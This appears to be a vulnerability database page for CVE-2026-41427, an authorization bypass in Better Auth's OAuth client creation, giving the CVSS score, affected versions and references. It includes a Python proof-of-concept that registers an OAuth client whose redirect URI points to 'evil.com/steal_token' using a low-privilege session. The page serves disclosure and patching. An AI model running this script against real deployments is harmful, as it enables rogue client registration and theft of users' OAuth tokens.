CVE-2026-41427

Description

Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.5, the clientPrivileges option documents a create action, but the OAuth client creation endpoints did not invoke the hook before persisting new clients. Deployments that configured clientPrivileges to restrict client registration were not actually restricted — any authenticated user could reach the create endpoints and register an OAuth client with attacker-chosen redirect URIs and metadata. This vulnerability is fixed in 1.6.5.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:better-auth:better-auth\/oauth-provider:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:better-auth:better-auth\/oauth-provider:1.4.8:-:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:better-auth:better-auth\/oauth-provider:1.4.8:beta7:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:better-auth:better-auth\/oauth-provider:1.7.0:beta0:*:*:*:node.js:*:* - VULNERABLE

Better Auth < 1.6.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Better Auth OAuth Client Creation Bypass
# Description: Creates a malicious OAuth client by bypassing clientPrivileges checks.

target_url = "https://target-domain.com/api/oauth/client/create"
attacker_controlled_redirect = "https://evil.com/steal_token"

# Attacker's session cookie (low privilege user)
cookies = {
    "better-auth.session_token": "attacker_low_privilege_token"
}

# Payload to create a malicious client with arbitrary redirect URI
payload = {
    "name": "Fake App",
    "redirect_uris": [attacker_controlled_redirect],
    "scopes": ["read", "write"]
}

try:
    response = requests.post(target_url, json=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] PoC Successful: Malicious OAuth client registered.")
        print(f"[+] Client ID: {response.json().get('client_id')}")
    else:
        print(f"[-] PoC Failed: Status {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41427
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41427
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41427/
[4] VulDB https://vuldb.com/cve/CVE-2026-41427
[5] https://github.com/better-auth/better-auth/security/advisories/GHSA-xr8f-h2gw-9xh6

Raw JSON Data

JSON

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